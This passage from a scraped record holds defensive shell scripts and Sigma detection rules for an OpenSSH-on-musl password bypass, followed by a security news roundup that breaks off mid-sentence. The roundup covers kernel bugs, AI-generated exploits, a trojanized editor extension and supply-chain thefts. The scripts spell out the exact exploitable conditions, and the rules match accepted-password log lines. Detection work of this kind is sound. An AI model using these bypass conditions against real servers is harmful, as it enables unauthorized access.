v=$(awk 'toupper($1)==\"USEPAM\"{print $2}' \"$CFG\" | tail -1)\n        [ -n \"$v\" ] &amp;&amp; USEPAM_EFF=\"config-parse($v)\"\n    fi\nfi\n\n# ---------------------------------------------------------------- account state\nPASSWD_STAR=\"\"      # exploitable: passwd `*` AND no shadow entry\nSHADOW_STAR=\"\"      # deny (stomp) but report\nSHADOW_STAR_OVERRIDE=0  # passwd `*` but a shadow entry exists (shadow wins)\nEMPTY_PW=\"\"         # empty password fields (separate risk class, not this bug)\nDOLLAR_HASHES=0\nNO_SHADOW_FILE=0\nif [ ! -f /etc/passwd ]; then\n    die \"/etc/passwd not found\"\nfi\n[ -f /etc/shadow ] || NO_SHADOW_FILE=1\n\nwhile IFS=: read -r u p rest; do\n    case \"$p\" in\n        '*')\n            if [ \"$NO_SHADOW_FILE\" = 1 ] || ! grep -q \"^${u}:\" /etc/shadow 2&gt;/dev/null; then\n                PASSWD_STAR=\"$PASSWD_STAR $u\"\n            else\n                SHADOW_STAR_OVERRIDE=1\n                PASSWD_STAR=\"$PASSWD_STAR $u(shadow-entry-present-not-exploitable)\"\n            fi\n            ;;\n        '') EMPTY_PW=\"$EMPTY_PW $u(passwd)\" ;;\n    esac\ndone &lt; /etc/passwd\n\nif [ \"$NO_SHADOW_FILE\" = 0 ]; then\n    while IFS=: read -r u p rest; do\n        case \"$p\" in\n            '*') SHADOW_STAR=\"$SHADOW_STAR $u\" ;;\n            '')  EMPTY_PW=\"$EMPTY_PW $u(shadow)\" ;;\n        esac\n    done &lt; /etc/shadow\n    DOLLAR_HASHES=$(grep -cE '^[^:]*:\\$' /etc/shadow)\nelse\n    # shadowless system: /etc/passwd field 2 is authoritative\n    DOLLAR_HASHES=$(grep -cE '^[^:]*:\\$' /etc/passwd)\nfi\n\n# ---------------------------------------------------------------- verdict\nREASONS=\"\"\nset_verdict() { VERDICT=\"$1\"; shift; REASONS=\"$*\"; }\n\nif [ -z \"$SSHD_BIN\" ]; then\n    set_verdict \"UNKNOWN\" \"no sshd binary found on this host\"\nelif [ \"$LIBC\" != \"musl\" ] &amp;&amp; [ \"$LIBC\" != \"musl (via ssh client)\" ]; then\n    set_verdict \"NOT-VULNERABLE\" \"sshd not linked to musl (libc=$LIBC); glibc crypt never returns '*'\"\nelif [ -z \"$SSHD_VERSION\" ]; then\n    set_verdict \"UNKNOWN\" \"musl sshd found but version could not be determined\"\nelif ! ver_lt \"$SSHD_VERSION\" \"10.6p2\"; then\n    set_verdict \"PATCHED\" \"OpenSSH $SSHD_VERSION &gt;= 10.6p2 (MIN_PASSWORD_HASH_LEN gate; refusal is silent)\"\nelse\n    case \"$PWAUTH_EFF\" in\n        no|config-parse\\(no\\)) set_verdict \"NOT-VULNERABLE\" \"PasswordAuthentication not effective ($PWAUTH_EFF)\" ;;\n        *)\n            case \"$USEPAM_EFF\" in\n                yes|config-parse\\(yes\\))\n                    set_verdict \"NOT-VULNERABLE\" \"PAM handles auth (UsePAM $USEPAM_EFF); musl crypt path bypassed\"\n                    ;;\n                *)\n                    # the decisive account-state check: at least one passwd-'*'\n                    # token WITHOUT a shadow entry is the exploitable state\n                    EXPLOITABLE_STAR=$(printf '%s' \"$PASSWD_STAR\" | tr -s ' ' '\\n' | grep -v 'shadow-entry' | grep -v '^$')\n                    if [ -z \"${EXPLOITABLE_STAR:-}\" ]; then\n                        set_verdict \"NOT-VULNERABLE\" \"no passwd-'*'-without-shadow account (shadow-'*' DENIES per corrected mechanics; passwd fields: ${PASSWD_STAR:-none}${SHADOW_STAR:+; shadow-'*':$SHADOW_STAR})\"\n                    elif [ \"$DOLLAR_HASHES\" -lt 1 ]; then\n                        set_verdict \"NOT-EXPLOITABLE\" \"passwd-'*' account present ($PASSWD_STAR) but no \\$-format hash donor (pick_salt has nothing to borrow)\"\n                    else\n                        set_verdict \"VULNERABLE\" \"musl sshd $SSHD_VERSION &lt; 10.6p2 + effective PasswordAuthentication + passwd-'*' account (no shadow entry): ${PASSWD_STAR} + $DOLLAR_HASHES \\$-hash donor(s); any password 257-1024 bytes accepted first-try (server-side window; sshd's MAX_PASSWORD_LEN 1024 gate denies longer)\"\n                    fi\n                    ;;\n            esac\n            ;;\n    esac\nfi\n\n# Match-block caveat: effective value could differ inside a Match block.\nif [ \"${MATCH_BLOCKS:-0}\" -gt 0 ] &amp;&amp; [ \"$CFG_SRC\" != \"sshd -T (main section only)\" ]; then\n    REASONS=\"$REASONS [CAVEAT: $MATCH_BLOCKS Match block(s) in config \u2014 effective per-connection values may differ]\"\nfi\n\n# ---------------------------------------------------------------- emit\nTS=$(now_utc); HOST=$(hostname 2&gt;/dev/null || echo unknown)\ncat &lt; \"$JSON_OUT\"\nfi\n\n[ \"$VERDICT\" = \"VULNERABLE\" ] &amp;&amp; exit 2\n[ \"$VERDICT\" = \"UNKNOWN\" ] &amp;&amp; exit 3\nexit 0\n```\n\n### B.2 hunt_accepted_nopw.sh\n\n```sh\n#!/bin/sh\n# hunt_accepted_nopw.sh \u2014 retroactive hunt for the OpenSSH x musl password-bypass.\n#\n# Joins a historical auth log against account state and flags every\n#   \"Accepted password for U\"\n# where U is in the ADJUDICATED-exploitable account state:\n#   (a) U's /etc/passwd password field is the literal `*` AND\n#       (no /etc/shadow file exists, or U has NO entry in it);\n#   (b) secondary: U's passwd field is EMPTY (empty-password risk class \u2014\n#       PermitEmptyPasswords domain, NOT the musl bug; reported separately).\n# A passwd-`*` account that HAS a shadow entry is NOT flagged (shadow wins;\n# per corrected mechanics that state DENIES \u2014 pick_salt static-buffer stomp).\n#\n# Usage: hunt_accepted_nopw.sh AUTHLOG PASSWD [SHADOW] [--json OUT]\n#   Exit 1 if hits, 0 if none, 2 on usage/IO error.\n#   Works on sshd logs (auth.log / secure / sshd.log), docker-json wrapped or\n#   plain; any line containing \"Accepted password for \" matches.\n#\n# NOTE ON FIXTURES: in the lab the passwd/shadow inputs for each arm are\n# RECONSTRUCTED deterministically per the arm harness layout logic (the test\n# containers were run --rm; no live captures exist). See detection/fixtures/\n# and the companion validation report. Account-state at hunt time reflects\n# CURRENT state only \u2014 retro joins assume the account state did not change\n# between log time and now; treat state changes as a blind spot.\n\nset -u\n\n[ $# -ge 2 ] || { echo \"usage: $0 AUTHLOG PASSWD [SHADOW] [--json OUT]\" &gt;&amp;2; exit 2; }\nAUTHLOG=$1; PASSWD=$2\nSHADOW=\"\"; JSON_OUT=\"\"\nshift 2\nwhile [ $# -gt 0 ]; do\n    case \"$1\" in\n        --json) [ $# -ge 2 ] || { echo \"--json needs a value\" &gt;&amp;2; exit 2; }; JSON_OUT=\"$2\"; shift 2 ;;\n        *) SHADOW=\"$1\"; shift ;;\n    esac\ndone\n\n[ -r \"$AUTHLOG\" ] || { echo \"authlog not readable: $AUTHLOG\" &gt;&amp;2; exit 2; }\n[ -r \"$PASSWD\" ]  || { echo \"passwd not readable: $PASSWD\"  &gt;&amp;2; exit 2; }\n\n# --- account-state extraction (pure sh, no jq) ---\nSTAR_LIST=\"\"\nEMPTY_LIST=\"\"\nOVERRIDE_LIST=\"\"\nwhile IFS=: read -r u p _rest; do\n    case \"$p\" in\n        '*')\n            if [ -z \"$SHADOW\" ] || ! grep -q \"^${u}:\" \"$SHADOW\"; then\n                STAR_LIST=\"$STAR_LIST $u\"\n            else\n                OVERRIDE_LIST=\"$OVERRIDE_LIST $u\"\n            fi\n            ;;\n        '') EMPTY_LIST=\"$EMPTY_LIST $u\" ;;\n    esac\ndone &lt; \"$PASSWD\"\n\necho \"=== hunt_accepted_nopw ===\"\necho \"authlog: $AUTHLOG\"\necho \"passwd: $PASSWD  shadow: ${SHADOW:-}\"\necho \"exploitable passwd-star accounts (no shadow entry):${STAR_LIST:- none}\"\necho \"passwd-star accounts WITH shadow entry (NOT exploitable):${OVERRIDE_LIST:- none}\"\necho \"empty-password accounts (separate risk class):${EMPTY_LIST:- none}\"\n\nTS=$(date -u +%Y-%m-%dT%H:%M:%SZ 2&gt;/dev/null || date)\nHITS=0\n: &gt; /tmp/.hunt_hits.$$\nfor s in $STAR_LIST; do\n    # word-boundary match on the username after 'Accepted password for'\n    n=$(grep -E \"Accepted password for ${s}([ @'\\\" ]|$)\" \"$AUTHLOG\" | tee -a /tmp/.hunt_hits.$$ | wc -l)\n    if [ \"$n\" -gt 0 ]; then\n        echo \"HIT [$n]: 'Accepted password for $s' \u2014 passwd-'*'-no-shadow account authenticated = musl-bypass signature (or canary trip).\"\n        HITS=$((HITS+n))\n    fi\ndone\nfor s in $EMPTY_LIST; do\n    n=$(grep -cE \"Accepted password for ${s}([ @'\\\" ]|$)\" \"$AUTHLOG\")\n    if [ \"$n\" -gt 0 ]; then\n        echo \"INFO [$n]: 'Accepted password for $s' \u2014 EMPTY password field: check PermitEmptyPasswords; separate risk class, not the musl bug.\"\n    fi\ndone\n\nif [ \"$HITS\" -eq 0 ]; then\n    echo \"RESULT: 0 hits \u2014 no exploitable-state account authenticated in this log.\"\n    RC=0\nelse\n    echo \"RESULT: $HITS hit line(s) \u2014 suspect compromise; see flagged lines in $AUTHLOG and /tmp/.hunt_hits.$$\"\n    RC=1\nfi\n\nif [ -n \"$JSON_OUT\" ]; then\n    JSTAR=$(printf '%s' \"$STAR_LIST\" | tr -s ' ' '\\n' | grep -v '^$' | sed 's/.*/\"&amp;\"/' | paste -sd, -)\n    JEMPTY=$(printf '%s' \"$EMPTY_LIST\" | tr -s ' ' '\\n' | grep -v '^$' | sed 's/.*/\"&amp;\"/' | paste -sd, -)\n    JHITS=$(grep -c . /tmp/.hunt_hits.$$ 2&gt;/dev/null); JHITS=${JHITS:-0}\n    { printf '{\"utc\":\"%s\",\"authlog\":\"%s\",\"star_accounts\":[%s],\"empty_accounts\":[%s],\"hit_count\":%s}\\n' \\\n        \"$TS\" \"$AUTHLOG\" \"${JSTAR:-}\" \"${JEMPTY:-}\" \"$JHITS\"; } &gt; \"$JSON_OUT\"\nfi\nrm -f /tmp/.hunt_hits.$$\nexit $RC\n```\n\n### B.3 Sigma rule \u2014 canary tripwire (openssh_musl_bypass_canary_accept.yml)\n\n```yaml\ntitle: OpenSSH musl password-bypass canary account authenticated\nid: b7f1c2d3-4a5e-4f6b-8c9d-0a1b2c3d4e5f\nname: openssh-musl-bypass-canary-accept\nstatus: experimental\ndescription: &gt;\n  ANY successful password authentication against the provisioned canary-nopw\n  account (passwd field `*`, NO /etc/shadow entry, nologin shell) is a certain\n  compromise signal for the OpenSSH x musl password-auth bypass: the account\n  cannot authenticate under normal semantics, so an \"Accepted password\" line\n  can only originate from the bypass (257-1024-byte password, musl sshd,\n  passwd-`*`-no-shadow state). Provision the canary with\n  `audit_ssh_musl.sh canary` on musl sshd fleets. If your canary uses a\n  different name, replace the string in the selection. The exploit's success\n  log line is completely normal \u2014 the canary account state is the\n  discriminator, not the log shape. Rule correctness = sigma check +\n  functional test (lab positive-control receipts); detection performance =\n  fixture-matched (exploit arms positive, deny arms negative); operational\n  readiness = deployment-unverified. Ingestion sinks: auth.log, secure,\n  journald auth, docker-stdout-collected sshd.log. The canary name is a\n  deliberate placeholder \u2014 substitute the account name actually provisioned\n  per fleet.\ndate: 2026-11-05\nlogsource:\n  product: linux\n  service: auth\ndetection:\n  keywords:\n    - 'Accepted password for canary-nopw'\n  condition: keywords\nfalsepositives:\n  - None expected while the canary password is unknown; an operator setting a\n    real password on the canary account (or deleting its shadow entry) makes\n    normal auth possible \u2014 treat a hit as compromise first, check for a recent\n    canary-management change second.\nlevel: critical\ntags:\n  - stp.5u\n  - attack.t1110.001\n```\n\n### B.4 Sigma rule \u2014 audit-run visibility (openssh_musl_bypass_audit_run.yml)\n\n```yaml\ntitle: OpenSSH musl password-bypass config audit executed on host\nid: c8a2d3e4-5b6f-4a7c-9d0e-1b2c3d4e5f6a\nname: openssh-musl-bypass-audit-run\nstatus: experimental\ndescription: &gt;\n  Tracks fleet deployments of the audit tool audit_ssh_musl.sh (process\n  creation). This is VISIBILITY, not compromise: it tells you the audit ran,\n  where, and by whom, so its verdict record can be joined to the host. The\n  verdict itself is NOT detectable from process telemetry \u2014 ingest the\n  tool's `--json` output as a custom log category (see\n  sigma/SIEM_MAPPING_guidance.md for the ingestion pattern: ship the JSON\n  line as event.category=audit_ssh_musl, join on host+utc, alert on\n  verdict==VULNERABLE). Scope the path selection to your own distribution\n  location if you stage the tool elsewhere.\ndate: 2026-11-05\nlogsource:\n  category: process_creation\n  product: linux\ndetection:\n  selection:\n    - 'audit_ssh_musl.sh'\n  condition: selection\nfalsepositives:\n  - Benign fleet-audit runs (expected \u2014 this rule exists to surface them).\n    Pair the alert with the tool's JSON verdict for the actual finding.\nlevel: low\ntags:\n  - stp.3a\n```\n\n## Provenance\n\n- **Builds.** All sshd builds compiled from official OpenSSH portable cdn.openbsd.org tarballs. The primary vulnerable build's source tarball, `openssh-10.6p1.tar.gz`, has sha256 `a9dc9565dffe8640f64d863cd29a32bc4a3dbdec0566a7fc44c5d6ee767d5f39` as recorded at validation time. The fixed 10.6p2 tarball was confirmed on cdn.openbsd.org on 2026-11-05 (last-modified 08:50 UTC \u2014 the same UTC day as the public disclosure, following a roughly one-day private distros@openwall-list embargo after the report; see \u00a71).\n- **Images and host.** musl 1.2.5 via the Alpine 3.22 base (three musl builds: 10.6p1, 10.6p1+PAM, and the 10.0p1-labeled build that reports 10.0p2 at runtime); glibc via Debian 12 (10.6p1); plus the patched musl 10.6p2. All builds and all test containers ran under Docker 29.1.3 on a single test host (the lab bench: Linux Mint 22.3, 16 cores, 60 GB RAM) \u2014 no VMs or QEMU, every arm a container on that host \u2014 loopback networking only. The musl version was verified from the vulnerable image itself at validation close: `ldd --version` reports `musl libc (x86_64)` / `Version 1.2.5` (receipt retained, available on request).\n- **Source verified verbatim** (in the retained 10.6p1 tree): `openbsd-compat/xcrypt.c` \u2014 `pick_salt()` and the `explicit_bzero(passwd, strlen(passwd))` at line 88; `auth-passwd.c` \u2014 `MAX_PASSWORD_LEN 1024` at line 70 and the length cap applied unconditionally before password verification at lines 86\u201387; musl `src/crypt/crypt_sha512.c` \u2014 `KEY_MAX 256` at line 192; the same limit for sha256crypt (`crypt_sha256.c`) is record-derived from our validation records (retained, available on request) \u2014 no retained source copy of that file. The 10.0p1 tree (V_10_0_P1) carries the same `explicit_bzero` construct per our source review of that tree; the retained source copy is 10.6p1's.\n- **Probe.** paramiko 5.1.0 as the non-truncating client (password delivered verbatim in `SSH_MSG_USERAUTH_REQUEST`); the main harness was our own scripted sshpass/ssh plus paramiko tooling.\n- **Public sources.** sshhole.com write-up (\u00d6zg\u00fcn K\u00fcltekin, Wakefield); PrivacyAffairs write-up; OpenSSH 10.6p2 release notes; OpenSSH 7.3 release notes (server-side 1024-character password cap since 2016); musl commits b3c4cc12 (crypt failure returns `\"*\"`, 2012) and 88bf5a8a (sha512crypt `KEY_MAX`); Alpine aports commit fbe926af (`root:*`, 3.16); ATT&amp;CK Enterprise v20.0 (the one technique tagged in the shipped rules, T1110.001, verified current in the v20.0 bundle).\n", "url": "https://gist.github.com/Blevene/84862279804492db29ad182223e78cb8"}, {"timestamp": "2026-11-06T16:43:29.637Z", "date_only": false, "value": "2026-11-06T16:43:29.637891Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-d1a6c9e6-8e63099de9f75bce", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "b4e2361f-d2d2-4336-8a28-92660c1f59c1", "content": "This Week in Security: More Linux Bugs, Biggest Crypto Theft Ever, Prusa Printers, Residential Proxies\nLinux kernel bugs which can be triggered remotely, without any login, are rare. Most kernel vulnerabilities need an attacker to already be running code on the machine. CVE-2026-98432 is one of those: a use-after-free in the IPv4 TCP handshake code, rated CVSS 9.8, which Atlas has written up in detail. It goes all the way back to Linux 4.4.\nA use-after-free is exactly what it sounds like: the program releases a chunk of memory, but some other code keeps using it. If an attacker can get their own data placed into that freed memory before it\u2019s used again, they can influence what the kernel does next. In this case, when a server accepts a connection whose SYN packet carries IPv4 header options (a rarely used feature of IPv4), the kernel hands those options from the half-open connection to the full connection without copying them, then frees them while another CPU core may still be reading them. The fix is a four-line change, from \u201ckfree()\u201d to \u201ckfree_rcu()\u201d, which waits until every reader is done before freeing the memory. A lost race simply fails the handshake, so an attacker can keep trying.\nThe bug was reported by Xinyang Ge at Anthropic, and Anthropic says its Claude model wrote a working proof-of-concept that gets root on \u201cLinux servers with a multipath TCP listener.\u201d Multipath TCP (MPTCP) lets a single connection use several network paths at once, like WiFi and cellular, and you might assume almost nobody runs it on servers. Unfortunately, as Marcus Hutchins points out, Debian kernels enable MPTCP by default, and Go 1.24 and newer open MPTCP listening sockets by default when the kernel allows it, so anything built in Go (including the Caddy web server) is potentially exposed. Hutchins\u2019 scans found about 2.1 million servers reachable over MPTCP on port 443, and he\u2019s already seeing scanning from residential proxies and Russian VPNs which looks like it\u2019s specifically hunting for this bug.\nUpstream stable kernels were fixed in mid October, but as of October 31, Ubuntu and Red Hat were both still listed as vulnerable, with fixes in progress. If you can\u2019t patch yet, you can check for MPTCP listeners with \u201css -Mlnp\u201d, and disable MPTCP with \u201csysctl net.mptcp.enabled=0\u201d, but note that this doesn\u2019t affect sockets which are already open, so you\u2019ll need to restart any services using them. Red Hat and AlmaLinux have also published firewall rules which drop TCP packets carrying IPv4 options, which basically no legitimate traffic uses.\nWe haven\u2019t seen bulk exploitation of this vulnerability yet, which might hint that it\u2019s less trivial to trigger than the severity might indicate, but it\u2019s a great time to get servers up to date. \u201cNot exploited yet\u201d has a nasty habit of turning into \u201cevery vulnerable server exploited in a day\u201d.\nMeanwhile, on the local side, OpenAI has published the results of pointing an automated pipeline, built on an unreleased \u201ccyber-focused\u201d model, at the kernel. In a run in mid October, it found 2,300 candidate bugs, reproduced 1,700 of them, and produced 948 working local privilege escalation exploits against a stock desktop Linux distribution, for about $1.2 million in API credits, or roughly $1,279 per root exploit. That\u2019s not cheap, but for comparison, Pwn2Own has historically paid $20,000 for a single Linux kernel privilege escalation. Local privilege escalation is the step after an attacker gets a foothold: turning an ordinary user account, a compromised web app, or a sandboxed process into full control of the machine. Coupled with even a basic vulnerability in other code, it can allow an attacker to take full control of the system and hide the compromise much more effectively.\nOpenAI says it\u2019s working with the kernel community to report the bugs and submit patches, starting with the most critical, and that during the ten days the scan was running, more than 100 other kernel privilege escalation bugs were patched by other contributors, with about 300 more being discussed publicly. The most sobering line in the report is that, for now, a low-privileged account on an unpatched system \u201cshould be considered functionally equivalent to root access for a well-resourced threat actor.\u201d It\u2019s been quite a week for kernel developers, and it\u2019s not going to slow down any time soon.\nThe flood of AI discovered vulnerabilities seems to continue unabated, and it\u2019s easy to feel under attack from them. Consider, however, how often the open source community has called for companies using open source tools and libraries as core elements of their business to help support those tools and community. There\u2019s still a significant burden placed on the community maintainers when almost 2000 bug reports land in a week, but over $1 million investment in securing Linux isn\u2019t nothing, and the patches at least appear to be reasonably scoped and accurate. I\u2019m pretty sure we\u2019d see an article covering Linus\u2019s response if they weren\u2019t.\nThe *sshole in musl\nPassword checking on Unix is simple in principle. Each account has a password hash stored in \u201c/etc/shadow\u201d; when you log in, the system hashes what you typed with the same salt and checks whether the result matches. Accounts which should never accept a password, like a key-only deploy user or root on many cloud images, get a \u201c\u201d instead of a hash, and since \u201c\u201d isn\u2019t a valid hash, nothing can ever match it. That convention goes back to BSD in 1980.\nThe sshole write-up explains how three reasonable decisions years apart added up to OpenSSH on musl libc (the smaller, lighter C library used by Alpine, OpenWrt, Buildroot, Yocto, and a lot of Docker images) accepting any password between 257 and 1024 characters for those \u201c\u201d accounts. In 2012, musl changed its \u201ccrypt()\u201d function to return \u201c\u201d instead of NULL when hashing fails, so careless programs wouldn\u2019t crash. Weeks later, musl capped SHA-512 password hashing at 256 bytes, since very long passwords can tie up the CPU, so anything longer fails. Then in 2016, to fix a timing bug (CVE-2016-6210) which let attackers tell real accounts from fake ones, sshd started hashing the password against another account\u2019s salt when an account has no real hash, just to take the same amount of time. Put it all together: a too-long password makes \u201ccrypt()\u201d fail, it returns \u201c\u201c, and \u201c\u201d matches the \u201c*\u201d stored for the locked account.\nYou\u2019re affected if sshd runs on musl without PAM (Alpine\u2019s default), password logins are enabled (also the default), there\u2019s an account locked with \u201c\u201c, and at least one other account has a real password for sshd to borrow the salt from. Alpine switched root to \u201c\u201d in 2022 after a previous fix for its passwordless Docker root (CVE-2019-5021), and on Alpine\u2019s official AWS and Azure images, the default \u201calpine\u201d user is locked this way and has passwordless \u201cdoas\u201d, so this is root. Systems using glibc, PAM, Dropbear, or OpenBSD aren\u2019t affected.\nThe researcher found it by building sshd every way they could think of and throwing about 17,600 unusual logins at each build with \u201cagent swarms\u201d; every build agreed except musl without PAM. OpenSSH 10.6p2 fixes it. If you can\u2019t update right away, set \u201cPasswordAuthentication no\u201d, which you probably wanted anyhow\u2026 Just make sure you provisioned SSH keys and tested them, first!\nClaude Code extension trojanized\nOn October 29, a malicious version (2.1.313) of Anthropic\u2019s official Claude Code extension for VS Code was distributed through the Cursor editor\u2019s extension marketplace. The malicious version was published under the official extension ID rather than as a lookalike, so anyone with auto-updates turned on simply received it. The Hacker News reports that Cursor says at most 5,000 users installed it during the roughly eleven hours it was available, and that the malicious version was not developed by Anthropic. How the attacker got their code into the marketplace hasn\u2019t been explained.\nAccording to the analysis by OpenSourceMalware, the extension was identical to the real one except for a 66-line loader added to the start of the main JavaScript file. As soon as the extension loads, it adds an attacker-controlled key labeled \u201csvc-telemetry\u201d to \u201c~/.ssh/authorized_keys\u201d, tries to turn on the local SSH server, opens a reverse SSH tunnel back to the attacker, installs persistence (a LaunchAgent disguised as \u201ccom.apple.sysmond\u201d on macOS, a crontab entry on Linux, and a scheduled task on Windows), and reports the host name, user, Git email address, and the names of any environment variables that look like credentials.\nPhorion found a bug in the macOS version of the attack: the malware checks if Remote Login is turned off by running a command which requires administrator rights, gets an error message back instead of \u201cOff\u201d, and assumes SSH is already running. On Macs without SSH turned on, the tunnel connects but leads nowhere. That\u2019s not something to count on, of course. If you used Claude Code in Cursor around October 29, check your authorized_keys file for the \u201csvc-telemetry\u201d key, look for the persistence entries, and rotate any credentials that machine could access. Version 2.1.314 is the clean replacement.\nOn a related note about developer tools reaching into each other, a Postman user filed a bug after discovering that opening the Postman desktop app had silently installed a Postman plugin for Claude Code, a startup instruction hook for their coding agents, a remote MCP connection, and the Postman CLI. As they put it, \u201cAn API client should not make itself the default workflow in other tools simply because I opened it.\u201d AI coding agents are rapidly becoming one of the most privileged pieces of software on a developer\u2019s machine, and everything with access to their configuration effectively gets to tell them what to do. Since the post, the company behind Postman has updated their website to note that the install will install other tools as well. Feels like the bad days of the early 2000s when every application also brought half a dozen desktop \u201cenhancements\u201d and browser toolbars.\nThe biggest crypto heist yet\nOn October 29, attackers stole $6.3 billion in cryptocurrency from Binance, the world\u2019s largest cryptocurrency exchange, which by a wide margin makes it the largest crypto theft ever. According to the AP, the FBI has attributed the attack to TraderTraitor, the North Korean group behind last year\u2019s $1.5 billion theft from Bybit, and is asking exchanges and blockchain analytics firms to block transactions linked to the stolen funds. Binance says it has enough reserves to cover 90% of the missing assets, and has promised customers will be fully reimbursed.\nBinance\u2019s initial findings, reported by the BBC, say the attackers compromised the computers of Binance engineers and gained control of the tools needed to drain its wallets. One engineer was contacted through a legitimate job-hunting platform and invited to fake job interviews with fake company representatives, who built trust by sharing social media accounts with personal photos. The attackers also used a compromised internal AI tool.\nFake job offers have been a favorite North Korean tactic for years, because \u201cplease run this coding test\u201d or \u201cplease install our interview software\u201d is a very natural way to get malware onto a developer\u2019s machine. If a recruiter you\u2019ve never heard of has an amazing opportunity and just needs you to run something, use a throwaway machine, or better yet, don\u2019t. If this sounds familiar, it\u2019s because Iranian hackers have already been known to pose as recruiters with booby-trapped coding tests, and similar lures are how recent high-profile supply chain compromises were triggered.\nPolymarket drained through a performance monitor\nPolymarket, the prediction market site, had user wallets drained on October 29 through a script it didn\u2019t write. Ohey has published a detailed analysis showing that the real-user monitoring script Polymarket loaded from DebugBear, a script to monitor users actions in the browser to track behavior and performance of website components, was replaced with a wallet drainer for about an hour. Around 16:54 UTC the script\u2019s normal origin server stopped responding, and shortly after, a different server started answering for DebugBear\u2019s hostnames and serving the malicious version.\nThe drainer was written specifically for Polymarket. It used Polymarket\u2019s own trading client from the page, signed transfers with each account\u2019s existing signer, and submitted them through Polymarket\u2019s own relayer. Every host it contacted, except for DebugBear, was already on Polymarket\u2019s Content Security Policy (the browser-enforced list of what a page is allowed to load and talk to), so nothing looked out of place. Polymarket removed the script at 17:59 UTC, paused trading, and says affected users will be reimbursed.\nThat\u2019s about $2.5 million in under an hour.\nAny third-party JavaScript a site loads runs with full access to the page, including whatever the logged-in user can do. We\u2019ve seen this before with the Polyfill.io takeover in 2024 and with Magecart credit card skimmers before that. A performance monitoring script is about the last thing anyone would think of as security-critical, which is exactly what makes it a good target.\nPoker cheating with remote access malware\nPolymarket isn\u2019t the only highly targeted supply chain attack this week. WIRED has a great story about a professional online poker player whose Claude agent, while helping review his play statistics, noticed MeshAgent, a legitimate open-source remote management tool, running on his computer. It had been installed months earlier without his knowledge, and had been capturing his screen during sessions on the Americas Cardroom site. The same opponent had been at his table for 10 of the 11 recorded sessions.\nThe attacker had compromised two popular multi-tabling tools used by high-stakes players, Jurojin and IntuitiveTables. Jurojin was compromised through its own update system, and the IntuitiveTables developer\u2019s test machine was infected through that Jurojin update, letting the attacker add malicious code before the developer signed the next release. The trojanized software checked the user\u2019s poker usernames against a list of high-stakes targets, and only installed the remote access agent for players on the list; everyone else got a perfectly normal app. Sources estimate the attacker took between $1.5 million and $4 million.\nThe sites\u2019 responses have varied wildly. CoinPoker banned the player in 2025 and refunded more than $100,000, while players say reports to GGPoker and ACR went unanswered for months. GGPoker has since banned third-party tools and added anomaly detection, while ACR has announced it found no wrongdoing and won\u2019t issue refunds, in the same email announcing a new feature to stop remote tools from capturing card images.\nSupermarket freezers, again, again\nIt\u2019s a three-peat!\nLast month we covered refrigeration controllers in hundreds of French supermarkets being hijacked and set to heat instead of cool. On Monday, the Guardian reports, retailers in at least seven more countries (Belgium, Estonia, Ireland, Finland, Luxembourg, the Netherlands, and Sweden) found their refrigerators and freezers heated to as high as 50C (122F) overnight. Affected chains include Ahold Delhaize, Carrefour Belgium, Coop and ICA in Sweden, SuperValu in Ireland, and an Ikea store in Belgium.\nThe operator of Delhaize\u2019s refrigeration systems said the units\u2019 evaporators were switched into defrost mode, the same defrost-mode trick seen in the US military commissary failures earlier this fall. The head of Sweden\u2019s national cybersecurity centre said the country had \u201cquite a lot of exposed operational technology devices\u201d that needed patching, and Patrick Lamplmair of the security firm Tributech said \u201cthousands of these controllers were still reachable from the internet after the French attack.\u201d Nobody has claimed responsibility, and there have been no ransom demands, which points toward sabotage rather than profit.\nIf there is any lesson to take from the past two months, it\u2019s that refrigeration controllers, building management systems, and other industrial gear have no business being directly reachable from the Internet. Put them behind a VPN, or at the very least behind a firewall that only allows the monitoring service to connect.\nFake nuclear alerts in Ukraine and Russia\nOn Sunday night, users of Ukraine\u2019s \u201cAir Alert\u201d app, which millions of people rely on to warn them of incoming missiles and drones, received a series of fake warnings about radiation, chemical threats, and street fighting, followed by a message in Russian claiming all of Ukraine was under nuclear alert. NBC News reports that some public warning sirens and loudspeakers in the Lviv region also broadcast a radiation hazard signal. Hours later, Russia\u2019s emergencies ministry said its own alert app had suffered a \u201cmassive cyberattack\u201d and sent fake warnings of nuclear warheads launched at Russia.\nUkrainian president Zelenskyy then confirmed to PBS that the Russian alerts were Ukraine\u2019s retaliation: \u201cWe only respond on their attacks.\u201d\nMany Ukrainians apparently shrugged the alerts off as an obvious fake, partly because they were in Russian. But emergency alerts only work if people trust them: Hawaii\u2019s accidental missile alert in 2018 showed how much damage a single false alarm can do, and alert systems which can be spoofed teach people to ignore the real ones. It\u2019s nuisance-level hacking with potentially drastic real-world consequences.\nResidential proxies, from set-top boxes to the White House\nResidential proxy services, which we\u2019ve talked about a lot in the past few months, sell access to other people\u2019s internet connections, so traffic appears to come from an ordinary home or business. If you\u2019re lucky, it\u2019s only being used for ad fraud. If you\u2019re unlucky, it\u2019s redirecting \u201cfree\u201d VPN traffic through your home IP, being used to hack companies from a less-suspicious domestic IP address, or sold to a ransomware group to attack systems inside your network. The devices providing those connections are usually running a proxy SDK bundled with some \u201cfree\u201d app or game, or are cheap gadgets with the proxy software built in: This week brought examples of both ends of that pipeline.\nGoogle has dismantled the XCPE botnet, more than 1.3 million Android set-top boxes, and says with high confidence that the backdoor was built and operated by the device manufacturer itself, Videostrong Technology. The backdoor ran with system privileges and reinstalled itself from a protected partition if removed. Videostrong sold access to affiliates, loading their modules for ad fraud, residential proxy networks (including Linkfog, AppSalt, and NetNut), and yet more malware, and Google says it saw Videostrong operators capturing screens, injecting keystrokes, and opening reverse shells on devices. Back in August we looked at a teardown of a cheap streaming box which turned out to be pre-infected; this is the business model behind that kind of device. Surprisingly, Videostrong was an official Google manufacturing partner who went through the certification process, making them much more legitimate than many of the cheap devices out there. Google has since banned Videostrong from making certified Android devices, and changed its certification process, the malware was loaded after first boot specifically to slip past Google\u2019s testing.\nAt the other end, Layer3 Intel reports that its probes through public residential proxy services exited from the White House network (AS2650, registered to the Executive Office of the President) 236 times between October 5 and November 3, from six different addresses, through 28 different proxy services. As Brian Krebs reports, the proxy tracking firm Synthient tied the activity to Windows 11 installations of Infatica, whose founder previously ran King Servers, the hosting company used by Russian state hackers to attack election systems in Arizona and Illinois in 2016. Most of the activity happens between 5pm and midnight, suggesting a person\u2019s device rather than a guest network. Synthient\u2019s founder Ben Brundage told Krebs that some resellers charge as little as 60 cents a gigabyte, so \u201cfor less than a 